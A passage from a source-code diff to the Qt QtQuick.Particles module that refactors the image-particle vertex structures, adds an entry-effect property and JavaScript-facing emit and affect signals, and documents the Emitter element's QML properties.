+ spriteVertices += pIdx*4;
for (int i=0; i<4; i++){
- ultraVertices[i].x = datum->x - m_systemOffset.x();
- ultraVertices[i].y = datum->y - m_systemOffset.y();
- ultraVertices[i].t = datum->t;
- ultraVertices[i].lifeSpan = datum->lifeSpan;
- ultraVertices[i].size = datum->size;
- ultraVertices[i].endSize = datum->endSize;
- ultraVertices[i].vx = datum->vx;
- ultraVertices[i].vy = datum->vy;
- ultraVertices[i].ax = datum->ax;
- ultraVertices[i].ay = datum->ay;
- ultraVertices[i].xx = datum->xx;
- ultraVertices[i].xy = datum->xy;
- ultraVertices[i].yx = datum->yx;
- ultraVertices[i].yy = datum->yy;
- ultraVertices[i].rotation = datum->rotation;
- ultraVertices[i].rotationSpeed = datum->rotationSpeed;
- ultraVertices[i].autoRotate = datum->autoRotate;
- ultraVertices[i].animIdx = datum->animIdx;
- ultraVertices[i].frameDuration = datum->frameDuration;
- ultraVertices[i].frameCount = datum->frameCount;
- ultraVertices[i].animT = datum->animT;
- ultraVertices[i].color.r = datum->color.r;
- ultraVertices[i].color.g = datum->color.g;
- ultraVertices[i].color.b = datum->color.b;
- ultraVertices[i].color.a = datum->color.a;
+ spriteVertices[i].x = datum->x - m_systemOffset.x();
+ spriteVertices[i].y = datum->y - m_systemOffset.y();
+ spriteVertices[i].t = datum->t;
+ spriteVertices[i].lifeSpan = datum->lifeSpan;
+ spriteVertices[i].size = datum->size;
+ spriteVertices[i].endSize = datum->endSize;
+ spriteVertices[i].vx = datum->vx;
+ spriteVertices[i].vy = datum->vy;
+ spriteVertices[i].ax = datum->ax;
+ spriteVertices[i].ay = datum->ay;
+ spriteVertices[i].xx = datum->xx;
+ spriteVertices[i].xy = datum->xy;
+ spriteVertices[i].yx = datum->yx;
+ spriteVertices[i].yy = datum->yy;
+ spriteVertices[i].rotation = datum->rotation;
+ spriteVertices[i].rotationSpeed = datum->rotationSpeed;
+ spriteVertices[i].autoRotate = datum->autoRotate;
+ spriteVertices[i].animIdx = datum->animIdx;
+ spriteVertices[i].frameDuration = datum->frameDuration;
+ spriteVertices[i].frameCount = datum->frameCount;
+ spriteVertices[i].animT = datum->animT;
+ spriteVertices[i].color.r = datum->color.r;
+ spriteVertices[i].color.g = datum->color.g;
+ spriteVertices[i].color.b = datum->color.b;
+ spriteVertices[i].color.a = datum->color.a;
}
break;
- case Tabled://TODO: Us
+ case Tabled: //Fall through until it has its own vertex class
case Deformable:
+ deformableVertices += pIdx*4;
+ for (int i=0; i<4; i++){
+ deformableVertices[i].x = datum->x - m_systemOffset.x();
+ deformableVertices[i].y = datum->y - m_systemOffset.y();
+ deformableVertices[i].t = datum->t;
+ deformableVertices[i].lifeSpan = datum->lifeSpan;
+ deformableVertices[i].size = datum->size;
+ deformableVertices[i].endSize = datum->endSize;
+ deformableVertices[i].vx = datum->vx;
+ deformableVertices[i].vy = datum->vy;
+ deformableVertices[i].ax = datum->ax;
+ deformableVertices[i].ay = datum->ay;
+ deformableVertices[i].xx = datum->xx;
+ deformableVertices[i].xy = datum->xy;
+ deformableVertices[i].yx = datum->yx;
+ deformableVertices[i].yy = datum->yy;
+ deformableVertices[i].rotation = datum->rotation;
+ deformableVertices[i].rotationSpeed = datum->rotationSpeed;
+ deformableVertices[i].autoRotate = datum->autoRotate;
+ deformableVertices[i].color.r = datum->color.r;
+ deformableVertices[i].color.g = datum->color.g;
+ deformableVertices[i].color.b = datum->color.b;
+ deformableVertices[i].color.a = datum->color.a;
+ }
+ break;
case Colored:
+ coloredVertices += pIdx*1;
+ for (int i=0; i<1; i++){
+ coloredVertices[i].x = datum->x - m_systemOffset.x();
+ coloredVertices[i].y = datum->y - m_systemOffset.y();
+ coloredVertices[i].t = datum->t;
+ coloredVertices[i].lifeSpan = datum->lifeSpan;
+ coloredVertices[i].size = datum->size;
+ coloredVertices[i].endSize = datum->endSize;
+ coloredVertices[i].vx = datum->vx;
+ coloredVertices[i].vy = datum->vy;
+ coloredVertices[i].ax = datum->ax;
+ coloredVertices[i].ay = datum->ay;
+ coloredVertices[i].color.r = datum->color.r;
+ coloredVertices[i].color.g = datum->color.g;
+ coloredVertices[i].color.b = datum->color.b;
+ coloredVertices[i].color.a = datum->color.a;
+ }
+ break;
case Simple:
- simpleVertices += pIdx*4;
- for (int i=0; i<4; i++){
+ simpleVertices += pIdx*1;
+ for (int i=0; i<1; i++){
simpleVertices[i].x = datum->x - m_systemOffset.x();
simpleVertices[i].y = datum->y - m_systemOffset.y();
simpleVertices[i].t = datum->t;
diff --git a/src/declarative/particles/qsgimageparticle_p.h b/src/declarative/particles/qsgimageparticle_p.h
index 1ac840ca9f..eb890e285c 100644
--- a/src/declarative/particles/qsgimageparticle_p.h
+++ b/src/declarative/particles/qsgimageparticle_p.h
@@ -44,6 +44,7 @@
#include "qsgparticlepainter_p.h"
#include "qsgstochasticdirection_p.h"
#include <QDeclarativeListProperty>
+#include <qsgsimplematerial.h>
QT_BEGIN_HEADER
@@ -51,7 +52,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
-class UltraMaterial;
+class ImageMaterialData;
class QSGGeometryNode;
class QSGSprite;
@@ -60,8 +61,6 @@ class QSGSpriteEngine;
struct SimpleVertex {
float x;
float y;
- float tx;
- float ty;
float t;
float lifeSpan;
float size;
@@ -72,14 +71,44 @@ struct SimpleVertex {
float ay;
};
-struct SimpleVertices {
- SimpleVertex v1;
- SimpleVertex v2;
- SimpleVertex v3;
- SimpleVertex v4;
+struct ColoredVertex {
+ float x;
+ float y;
+ float t;
+ float lifeSpan;
+ float size;
+ float endSize;
+ float vx;
+ float vy;
+ float ax;
+ float ay;
+ Color4ub color;
+};
+
+struct DeformableVertex {
+ float x;
+ float y;
+ float tx;
+ float ty;
+ float t;
+ float lifeSpan;
+ float size;
+ float endSize;
+ float vx;
+ float vy;
+ float ax;
+ float ay;
+ Color4ub color;
+ float xx;
+ float xy;
+ float yx;
+ float yy;
+ float rotation;
+ float rotationSpeed;
+ float autoRotate;//Assumed that GPUs prefer floats to bools
};
-struct UltraVertex {
+struct SpriteVertex {
float x;
float y;
float tx;
@@ -99,25 +128,19 @@ struct UltraVertex {
float yy;
float rotation;
float rotationSpeed;
- float autoRotate;//Assume that GPUs prefer floats to bools
+ float autoRotate;//Assumed that GPUs prefer floats to bools
float animIdx;
float frameDuration;
float frameCount;
float animT;
};
-struct UltraVertices {
- UltraVertex v1;
- UltraVertex v2;
- UltraVertex v3;
- UltraVertex v4;
-};
-
-struct IntermediateVertices {
- UltraVertex* v1;
- UltraVertex* v2;
- UltraVertex* v3;
- UltraVertex* v4;
+template <typename Vertex>
+struct Vertices {
+ Vertex v1;
+ Vertex v2;
+ Vertex v3;
+ Vertex v4;
};
class QSGImageParticle : public QSGParticlePainter
@@ -153,15 +176,24 @@ class QSGImageParticle : public QSGParticlePainter
//yVector is the same, but top-left to bottom-left. The particle is always a parallelogram.
Q_PROPERTY(QSGStochasticDirection* yVector READ yVector WRITE setYVector NOTIFY yVectorChanged)
Q_PROPERTY(QDeclarativeListProperty<QSGSprite> sprites READ sprites)
+
+ Q_PROPERTY(EntryEffect entryEffect READ entryEffect WRITE setEntryEffect NOTIFY entryEffectChanged)
Q_PROPERTY(bool bloat READ bloat WRITE setBloat NOTIFY bloatChanged)//Just a debugging property to bypass optimizations
+ Q_ENUMS(EntryEffect)
public:
explicit QSGImageParticle(QSGItem *parent = 0);
- virtual ~QSGImageParticle(){}
+ virtual ~QSGImageParticle();
QDeclarativeListProperty<QSGSprite> sprites();
QSGSpriteEngine* spriteEngine() {return m_spriteEngine;}
+ enum EntryEffect {
+ None = 0,
+ Fade = 1,
+ Scale = 2
+ };
+
enum PerformanceLevel{//TODO: Expose?
Unknown = 0,
Simple,
@@ -217,6 +249,8 @@ public:
bool bloat() const { return m_bloat; }
+ EntryEffect entryEffect() const { return m_entryEffect; }
+
signals:
void imageChanged();
@@ -254,6 +288,8 @@ signals:
void bloatChanged(bool arg);
+ void entryEffectChanged(EntryEffect arg);
+
public slots:
void reloadColor(const Color4ub &c, QSGParticleData* d);
void setAlphaVariation(qreal arg);
@@ -282,6 +318,8 @@ public slots:
void setBloat(bool arg);
+ void setEntryEffect(EntryEffect arg);
+
protected:
void reset();
virtual void initialize(int gIdx, int pIdx);
@@ -290,7 +328,6 @@ protected:
QSGNode *updatePaintNode(QSGNode *, UpdatePaintNodeData *);
void prepareNextFrame();
QSGGeometryNode* buildParticleNodes();
- QSGGeometryNode* buildSimpleParticleNodes();
private slots:
void createEngine(); //### method invoked by sprite list changing (in engine.h) - pretty nasty
@@ -312,7 +349,7 @@ private:
QHash<int, QSGGeometryNode *> m_nodes;
QHash<int, int> m_idxStarts;//TODO: Proper resizing will lead to needing a spriteEngine per particle - do this after sprite engine gains transparent sharing?
int m_lastIdxStart;
- UltraMaterial *m_material;
+ QSGMaterial *m_material;
// derived values...
@@ -337,6 +374,33 @@ private:
PerformanceLevel perfLevel;
PerformanceLevel m_lastLevel;
+ bool m_debugMode;
+
+ template<class Vertex>
+ void initTexCoords(Vertex* v, int count){
+ Vertex* end = v + count;
+ while (v < end){
+ v[0].tx = 0;
+ v[0].ty = 0;
+
+ v[1].tx = 1;
+ v[1].ty = 0;
+
+ v[2].tx = 0;
+ v[2].ty = 1;
+
+ v[3].tx = 1;
+ v[3].ty = 1;
+
+ v += 4;
+ }
+ }
+
+ template<class MaterialData>
+ MaterialData* getState(QSGMaterial* m){
+ return static_cast<QSGSimpleMaterial<MaterialData> *>(m)->state();
+ }
+ EntryEffect m_entryEffect;
};
QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgitemparticle.cpp b/src/declarative/particles/qsgitemparticle.cpp
index 19d921a10d..65407fabf8 100644
--- a/src/declarative/particles/qsgitemparticle.cpp
+++ b/src/declarative/particles/qsgitemparticle.cpp
@@ -51,7 +51,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass ItemParticle QSGItemParticle
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits ParticlePainter
\brief The ItemParticle element allows you to specify your own delegate to paint particles.
diff --git a/src/declarative/particles/qsgkill.cpp b/src/declarative/particles/qsgkill.cpp
index 9d4bc940bd..dfd26e3f39 100644
--- a/src/declarative/particles/qsgkill.cpp
+++ b/src/declarative/particles/qsgkill.cpp
@@ -45,7 +45,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Kill QSGKillAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Affector
\brief The Kill affector allows you to expire affected particles
diff --git a/src/declarative/particles/qsglineextruder.cpp b/src/declarative/particles/qsglineextruder.cpp
index a08d052c20..6581cf23ee 100644
--- a/src/declarative/particles/qsglineextruder.cpp
+++ b/src/declarative/particles/qsglineextruder.cpp
@@ -44,7 +44,6 @@
/*!
\qmlclass LineShape QSGLineExtruder
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Shape
\brief The LineShape represents a line to Affectors and Emitter
diff --git a/src/declarative/particles/qsgmaskextruder.cpp b/src/declarative/particles/qsgmaskextruder.cpp
index e76280378b..4f8b89a639 100644
--- a/src/declarative/particles/qsgmaskextruder.cpp
+++ b/src/declarative/particles/qsgmaskextruder.cpp
@@ -46,7 +46,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass MaskShape QSGMaskExtruder
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits Shape
\brief The MaskShape element allows you to represent an image as a shape to affectors and emitters.
diff --git a/src/declarative/particles/qsgmodelparticle.cpp b/src/declarative/particles/qsgmodelparticle.cpp
index 19815aa8f4..2646864283 100644
--- a/src/declarative/particles/qsgmodelparticle.cpp
+++ b/src/declarative/particles/qsgmodelparticle.cpp
@@ -49,7 +49,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass ModelParticle QSGModelParticle
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits ParticlePainter
\brief The ModelParticle element allows you to specify a model and delegate pair to paint particles.
diff --git a/src/declarative/particles/qsgparticleaffector.cpp b/src/declarative/particles/qsgparticleaffector.cpp
index bf268efc9d..4cb3e49403 100644
--- a/src/declarative/particles/qsgparticleaffector.cpp
+++ b/src/declarative/particles/qsgparticleaffector.cpp
@@ -45,7 +45,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Affector QSGParticleAffector
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\brief Affector elements can alter the attributes of logical particles at any point in their lifetime.
The base Affector does not alter any attributes, but can be used to emit a signal
@@ -95,11 +94,24 @@ QT_BEGIN_NAMESPACE
/*!
\qmlproperty bool QtQuick.Particles2::Affector::signal
If this is set to true, then an affected(x,y) signal will be emitted each
- time this affector affects a particle.
+ time this affector would affect a particle.
+
+ For Affector only, this will happen irrespective of whether any changes
+ are made to the particle, for other Affectors the signal will only fire
+ if the particle is actually affected.
Default value is false.
*/
+//TODO: Document particle 'type'
+/*!
+ \qmlsignal QtQuick.Particles2::Affector::affectParticle(particle, dt)
+
+ This handler is called when a particle is selected to be affected.
+
+ dt is the time since the last time it was affected. Use dt to normalize
+ trajectory manipulations to real time.
+*/
QSGParticleAffector::QSGParticleAffector(QSGItem *parent) :
QSGItem(parent), m_needsReset(false), m_system(0), m_active(true)
, m_updateIntSet(false), m_shape(new QSGParticleExtruder(this)), m_signal(false)
@@ -112,6 +124,12 @@ QSGParticleAffector::QSGParticleAffector(QSGItem *parent) :
this, SLOT(updateOffsets()));//TODO: in componentComplete and all relevant signals
}
+bool QSGParticleAffector::isAffectConnected()
+{
+ static int idx = QObjectPrivate::get(this)->signalIndex("affectParticle(QDeclarativeV8Handle, qreal)");
+ return QObjectPrivate::get(this)->isSignalConnected(idx);
+}
+
void QSGParticleAffector::componentComplete()
{
if (!m_system && qobject_cast<QSGParticleSystem*>(parentItem()))
@@ -162,8 +180,10 @@ void QSGParticleAffector::affectSystem(qreal dt)
bool QSGParticleAffector::affectParticle(QSGParticleData *d, qreal dt)
{
- Q_UNUSED(d);
- Q_UNUSED(dt);
+ if (isAffectConnected()){
+ emit affectParticle(d->v8Value(), dt);
+ return true;
+ }
return m_signal;//If signalling, then we always 'null affect' it.
}
diff --git a/src/declarative/particles/qsgparticleaffector_p.h b/src/declarative/particles/qsgparticleaffector_p.h
index 4479f5d131..dd279c07b9 100644
--- a/src/declarative/particles/qsgparticleaffector_p.h
+++ b/src/declarative/particles/qsgparticleaffector_p.h
@@ -103,6 +103,7 @@ public:
}
signals:
+ void affectParticle(QDeclarativeV8Handle particle, qreal dt);
void systemChanged(QSGParticleSystem* arg);
@@ -189,6 +190,7 @@ protected:
bool m_active;
virtual void componentComplete();
QPointF m_offset;
+ bool isAffectConnected();
private:
QSet<int> m_groups;
QSet<QPair<int, int> > m_onceOffed;
diff --git a/src/declarative/particles/qsgparticleemitter.cpp b/src/declarative/particles/qsgparticleemitter.cpp
index dfd1618088..bf4f5701e5 100644
--- a/src/declarative/particles/qsgparticleemitter.cpp
+++ b/src/declarative/particles/qsgparticleemitter.cpp
@@ -41,7 +41,153 @@
#include "qsgparticleemitter_p.h"
QT_BEGIN_NAMESPACE
-//Not visible from QML, so not documented. Document subclasses.
+
+
+/*!
+ \qmlclass Emitter QSGParticleEmitter
+ \inqmlmodule QtQuick.Particles 2
+ \brief The Emitter element allows you to emit logical particles.
+
+ This element emits logical particles into the ParticleSystem, with the
+ given starting attributes.
+
+ Note that logical particles are not
+ automatically rendered, you will need to have one or more
+ ParticlePainter elements visualizing them.
+
+ Note that the given starting attributes can be modified at any point
+ in the particle's lifetime by any Affector element in the same
+ ParticleSystem. This includes attributes like lifespan.
+*/
+
+
+/*!
+ \qmlproperty ParticleSystem QtQuick.Particles2::Emitter::system
+
+ This is the Particle system that the Emitter will emit into.
+ This can be omitted if the Emitter is a direct child of the ParticleSystem
+*/
+/*!
+ \qmlproperty string QtQuick.Particles2::Emitter::particle
+
+ This is the type of logical particle which it will emit.
+
+ Default value is "" (empty string).
+*/
+/*!
+ \qmlproperty Shape QtQuick.Particles2::Emitter::shape
+
+ This shape is applied to the bounding box of the emitter. Particles are then emitting
+ from inside the area of the shape.
+
+*/
+/*!
+ \qmlproperty bool QtQuick.Particles2::Emitter::emitting
+
+ If set to false, the emitter will cease emissions until it is set to true.
+
+ Default value is true.
+*/
+/*!
+ \qmlproperty real QtQuick.Particles2::Emitter::emitRate
+
+ Number of particles emitted per second.
+
+ Default value is 10 particles per second.
+*/
+/*!
+ \qmlproperty int QtQuick.Particles2::Emitter::lifeSpan
+
+ The time in milliseconds each emitted particle should last for.
+
+ Default value is 1000 (one second).
+*/
+/*!
+ \qmlproperty int QtQuick.Particles2::Emitter::lifeSpanVariation
+
+ Particle lifespans will vary by up to this much in either direction.
+
+ Default value is 0.
+*/
+
+/*!
+ \qmlproperty int QtQuick.Particles2::Emitter::emitCap
+
+ The maximum number of particles at a time that this emitter will have alive.
+
+ This can be set as a performance optimization (when using burst and pulse) or
+ to stagger emissions. The default value is emitRate * lifeSpan in seconds, which
+ is the number of particles that would be alive at any one time given the default settings.
+*/
+/*!
+ \qmlproperty bool QtQuick.Particles2::Emitter::noCap
+
+ If set to true, the emitCap will be ignored and this emitter will never skip emitting
+ a particle based on how many it has alive.
+
+ Default value is false.
+*/
+/*!
+ \qmlproperty int QtQuick.Particles2::Emitter::startTime
+
+ If this value is set when the emitter is loaded, then it will emit particles from the
+ past, up to startTime milliseconds ago. These will simulate as if they were emitted then,
+ but will not have any affectors applied to them. Affectors will take effect from the present time.
+*/
+/*!
+ \qmlproperty real QtQuick.Particles2::Emitter::size
+
+ The size in pixels of the particles at the start of their life.
+
+ Default value is 16.
+*/
+/*!
+ \qmlproperty real QtQuick.Particles2::Emitter::endSize
+
+ The size in pixels of the particles at the end of their life. Size will
+ be linearly interpolated during the life of the particle from this value and
+ size. If endSize is -1, then the size of the particle will remain constant at
+ the starting size.
+
+ Default value is -1.
+*/
+/*!
+ \qmlproperty real QtQuick.Particles2::Emitter::sizeVariation
+
+ The size of a particle can vary by this much up or down from size/endSize. The same
+ random addition is made to both size and endSize for a single particle.
+
+ Default value is 0.
+*/
+/*!
+ \qmlproperty StochasticDirection QtQuick.Particles2::Emitter::speed
+
+ The starting speed of the particles emitted.
+*/
+/*!
+ \qmlproperty StochasticDirection QtQuick.Particles2::Emitter::acceleration
+
+ The starting acceleraton of the particles emitted.
+*/
+/*!
+ \qmlproperty qreal QtQuick.Particles2::Emitter::speedFromMovement
+
+ If this value is non-zero, then any movement of the emitter will provide additional
+ starting velocity to the particles based on the movement. The additional vector will be the
+ same angle as the emitter's movement, with a magnitude that is the magnitude of the emitters
+ movement multiplied by speedFromMovement.
+
+ Default value is 0.
+*/
+//TODO: Document particle 'type'
+/*!
+ \qmlsignal QtQuick.Particles2::Emitter::emitParticle(particle)
+
+ This handler is called when a particle is emitted. You can modify particle
+ attributes from within the handler.
+*/
+
+
QSGParticleEmitter::QSGParticleEmitter(QSGItem *parent) :
QSGItem(parent)
, m_particlesPerSecond(10)
@@ -58,6 +204,13 @@ QSGParticleEmitter::QSGParticleEmitter(QSGItem *parent) :
, m_particleSizeVariation(0)
, m_maxParticleCount(-1)
, m_burstLeft(0)
+ , m_speed_from_movement(0)
+ , m_particle_count(0)
+ , m_reset_last(true)
+ , m_last_timestamp(-1)
+ , m_last_emission(0)
+ , m_startTime(0)
+ , m_overwrite(false)
{
//TODO: Reset speed/acc back to null vector? Or allow null pointer?
@@ -75,6 +228,12 @@ QSGParticleEmitter::~QSGParticleEmitter()
delete m_defaultExtruder;
}
+bool QSGParticleEmitter::isEmitConnected()
+{
+ static int idx = QObjectPrivate::get(this)->signalIndex("emitParticle(QDeclarativeV8Handle)");
+ return QObjectPrivate::get(this)->isSignalConnected(idx);
+}
+
void QSGParticleEmitter::componentComplete()
{
if (!m_system && qobject_cast<QSGParticleSystem*>(parentItem()))
@@ -83,11 +242,6 @@ void QSGParticleEmitter::componentComplete()
qWarning() << "Emitter created without a particle system specified";//TODO: useful QML warnings, like line number?
QSGItem::componentComplete();
}
-void QSGParticleEmitter::emitWindow(int timeStamp)
-{
- Q_UNUSED(timeStamp);
-}
-
void QSGParticleEmitter::setEmitting(bool arg)
{
@@ -155,4 +309,145 @@ int QSGParticleEmitter::particleCount() const
return m_particlesPerSecond*((m_particleDuration+m_particleDurationVariation)/1000.0);
}
+void QSGParticleEmitter::setSpeedFromMovement(qreal t)
+{
+ if (t == m_speed_from_movement)
+ return;
+ m_speed_from_movement = t;
+ emit speedFromMovementChanged();
+}
+
+void QSGParticleEmitter::emitWindow(int timeStamp)
+{
+ if (m_system == 0)
+ return;
+ if ((!m_emitting || !m_particlesPerSecond)&& !m_burstLeft && m_burstQueue.isEmpty()){
+ m_reset_last = true;
+ return;
+ }
+
+ if (m_reset_last) {
+ m_last_emitter = m_last_last_emitter = QPointF(x(), y());
+ if (m_last_timestamp == -1)
+ m_last_timestamp = timeStamp/1000. - m_startTime;
+ else
+ m_last_timestamp = timeStamp/1000.;
+ m_last_emission = m_last_timestamp;
+ m_reset_last = false;
+ }
+
+ if (m_burstLeft){
+ m_burstLeft -= timeStamp - m_last_timestamp * 1000.;
+ if (m_burstLeft < 0){
+ if (!m_emitting)
+ timeStamp += m_burstLeft;
+ m_burstLeft = 0;
+ }
+ }
+
+ qreal time = timeStamp / 1000.;
+
+ qreal particleRatio = 1. / m_particlesPerSecond;
+ qreal pt = m_last_emission;
+
+ qreal opt = pt; // original particle time
+ qreal dt = time - m_last_timestamp; // timestamp delta...
+ if (!dt)
+ dt = 0.000001;
+
+ // emitter difference since last...
+ qreal dex = (x() - m_last_emitter.x());
+ qreal dey = (y() - m_last_emitter.y());
+
+ qreal ax = (m_last_last_emitter.x() + m_last_emitter.x()) / 2;
+ qreal bx = m_last_emitter.x();
+ qreal cx = (x() + m_last_emitter.x()) / 2;
+ qreal ay = (m_last_last_emitter.y() + m_last_emitter.y()) / 2;
+ qreal by = m_last_emitter.y();
+ qreal cy = (y() + m_last_emitter.y()) / 2;
+
+ qreal sizeAtEnd = m_particleEndSize >= 0 ? m_particleEndSize : m_particleSize;
+ qreal emitter_x_offset = m_last_emitter.x() - x();
+ qreal emitter_y_offset = m_last_emitter.y() - y();
+ if (!m_burstQueue.isEmpty() && !m_burstLeft && !m_emitting)//'outside time' emissions only
+ pt = time;
+ while (pt < time || !m_burstQueue.isEmpty()) {
+ //int pos = m_last_particle % m_particle_count;
+ QSGParticleData* datum = m_system->newDatum(m_system->m_groupIds[m_particle], !m_overwrite);
+ if (datum){//actually emit(otherwise we've been asked to skip this one)
+ datum->e = this;//###useful?
+ qreal t = 1 - (pt - opt) / dt;
+ qreal vx =
+ - 2 * ax * (1 - t)
+ + 2 * bx * (1 - 2 * t)
+ + 2 * cx * t;
+ qreal vy =
+ - 2 * ay * (1 - t)
+ + 2 * by * (1 - 2 * t)
+ + 2 * cy * t;
+
+
+ // Particle timestamp
+ datum->t = pt;
+ datum->lifeSpan = //TODO:Promote to base class?
+ (m_particleDuration
+ + ((rand() % ((m_particleDurationVariation*2) + 1)) - m_particleDurationVariation))
+ / 1000.0;
+
+ // Particle position
+ QRectF boundsRect;
+ if (!m_burstQueue.isEmpty()){
+ boundsRect = QRectF(m_burstQueue.first().second.x() - x(), m_burstQueue.first().second.y() - y(),
+ width(), height());
+ } else {
+ boundsRect = QRectF(emitter_x_offset + dex * (pt - opt) / dt, emitter_y_offset + dey * (pt - opt) / dt
+ , width(), height());
+ }
+ QPointF newPos = effectiveExtruder()->extrude(boundsRect);
+ datum->x = newPos.x();
+ datum->y = newPos.y();
+
+ // Particle speed
+ const QPointF &speed = m_speed->sample(newPos);
+ datum->vx = speed.x()
+ + m_speed_from_movement * vx;
+ datum->vy = speed.y()
+ + m_speed_from_movement * vy;
+
+ // Particle acceleration
+ const QPointF &accel = m_acceleration->sample(newPos);
+ datum->ax = accel.x();
+ datum->ay = accel.y();
+
+ // Particle size
+ float sizeVariation = -m_particleSizeVariation
+ + rand() / float(RAND_MAX) * m_particleSizeVariation * 2;
+
+ float size = qMax((qreal)0.0 , m_particleSize + sizeVariation);
+ float endSize = qMax((qreal)0.0 , sizeAtEnd + sizeVariation);
+
+ datum->size = size;// * float(m_emitting);
+ datum->endSize = endSize;// * float(m_emitting);
+
+ if (isEmitConnected())
+ emitParticle(datum->v8Value());//A chance for arbitrary JS changes
+ m_system->emitParticle(datum);
+ }
+ if (m_burstQueue.isEmpty()){
+ pt += particleRatio;
+ }else{
+ m_burstQueue.first().first--;
+ if (m_burstQueue.first().first <= 0)
+ m_burstQueue.pop_front();
+ }
+ }
+ m_last_emission = pt;
+
+ m_last_last_last_emitter = m_last_last_emitter;
+ m_last_last_emitter = m_last_emitter;
+ m_last_emitter = QPointF(x(), y());
+ m_last_timestamp = time;
+}
+
+
QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgparticleemitter_p.h b/src/declarative/particles/qsgparticleemitter_p.h
index 9cf130d40d..2c75fbfe22 100644
--- a/src/declarative/particles/qsgparticleemitter_p.h
+++ b/src/declarative/particles/qsgparticleemitter_p.h
@@ -64,6 +64,8 @@ class QSGParticleEmitter : public QSGItem
Q_PROPERTY(QString particle READ particle WRITE setParticle NOTIFY particleChanged)
Q_PROPERTY(QSGParticleExtruder* shape READ extruder WRITE setExtruder NOTIFY extruderChanged)
Q_PROPERTY(bool emitting READ emitting WRITE setEmitting NOTIFY emittingChanged)
+ Q_PROPERTY(int startTime READ startTime WRITE setStartTime NOTIFY startTimeChanged)
+ Q_PROPERTY(bool noCap READ overwrite WRITE setOverWrite NOTIFY overwriteChanged)
Q_PROPERTY(qreal emitRate READ particlesPerSecond WRITE setParticlesPerSecond NOTIFY particlesPerSecondChanged)
Q_PROPERTY(int lifeSpan READ particleDuration WRITE setParticleDuration NOTIFY particleDurationChanged)
@@ -76,6 +78,8 @@ class QSGParticleEmitter : public QSGItem
Q_PROPERTY(QSGStochasticDirection *speed READ speed WRITE setSpeed NOTIFY speedChanged)
Q_PROPERTY(QSGStochasticDirection *acceleration READ acceleration WRITE setAcceleration NOTIFY accelerationChanged)
+ Q_PROPERTY(qreal speedFromMovement READ speedFromMovement WRITE setSpeedFromMovement NOTIFY speedFromMovementChanged)
+
public:
explicit QSGParticleEmitter(QSGItem *parent = 0);
virtual ~QSGParticleEmitter();
@@ -111,8 +115,11 @@ public:
return m_particleDurationVariation;
}
+ qreal speedFromMovement() const { return m_speed_from_movement; }
+ void setSpeedFromMovement(qreal s);
virtual void componentComplete();
signals:
+ void emitParticle(QDeclarativeV8Handle particle);
void particlesPerSecondChanged(qreal);
void particleDurationChanged(int);
void emittingChanged(bool);
@@ -138,6 +145,12 @@ signals:
void maxParticleCountChanged(int arg);
void particleCountChanged();
+ void speedFromMovementChanged();
+
+ void startTimeChanged(int arg);
+
+ void overwriteChanged(bool arg);
+
public slots:
void pulse(qreal seconds);
void burst(int num);
@@ -235,6 +248,22 @@ public slots:
void setMaxParticleCount(int arg);
+ void setStartTime(int arg)
+ {
+ if (m_startTime != arg) {
+ m_startTime = arg;
+ emit startTimeChanged(arg);
+ }
+ }
+
+ void setOverWrite(bool arg)
+{
+ if (m_overwrite != arg) {
+ m_overwrite = arg;
+emit overwriteChanged(arg);
+}
+}
+
public:
int particleCount() const;
@@ -274,6 +303,16 @@ public:
return m_maxParticleCount;
}
+ int startTime() const
+ {
+ return m_startTime;
+ }
+
+ bool overwrite() const
+ {
+ return m_overwrite;
+ }
+
protected:
qreal m_particlesPerSecond;
int m_particleDuration;
@@ -290,11 +329,30 @@ protected:
qreal m_particleEndSize;
qreal m_particleSizeVariation;
+ qreal m_speedFromMovement;
+ int m_startTime;
+ bool m_overwrite;
+
int m_burstLeft;//TODO: Rename to pulse
QList<QPair<int, QPointF > > m_burstQueue;
int m_maxParticleCount;
+
+ //Used in default implementation, but might be useful
+ qreal m_speed_from_movement;
+
+ int m_particle_count;
+ bool m_reset_last;
+ qreal m_last_timestamp;
+ qreal m_last_emission;
+
+ QPointF m_last_emitter;
+ QPointF m_last_last_emitter;
+ QPointF m_last_last_last_emitter;
+
+ bool isEmitConnected();
private:
QSGStochasticDirection m_nullVector;
+
};
QT_END_NAMESPACE
diff --git a/src/declarative/particles/qsgparticleextruder.cpp b/src/declarative/particles/qsgparticleextruder.cpp
index b51ab8b467..a390bb92ac 100644
--- a/src/declarative/particles/qsgparticleextruder.cpp
+++ b/src/declarative/particles/qsgparticleextruder.cpp
@@ -46,7 +46,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Shape QSGParticleExtruder
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\brief The Shape element allows you to specify an area for affectors and emitter.
The base class is just a rectangle.
diff --git a/src/declarative/particles/qsgparticlepainter.cpp b/src/declarative/particles/qsgparticlepainter.cpp
index 4d795999a0..97333ff20b 100644
--- a/src/declarative/particles/qsgparticlepainter.cpp
+++ b/src/declarative/particles/qsgparticlepainter.cpp
@@ -45,7 +45,6 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass ParticlePainter QSGParticlePainter
\inqmlmodule QtQuick.Particles 2
- \since QtQuick.Particles 2.0
\inherits ParticlePainter
\brief ParticlePainter elements allow you to specify how to paint particles.
diff --git a/src/declarative/particles/qsgparticlesmodule.cpp b/src/declarative/particles/qsgparticlesmodule.cpp
index 1bb06eae35..e6076b925f 100644
--- a/src/declarative/particles/qsgparticlesmodule.cpp
+++ b/src/declarative/particles/qsgparticlesmodule.cpp
@@ -42,7 +42,6 @@
#include "qsgangleddirection_p.h"
#include "qsgcustomparticle_p.h"
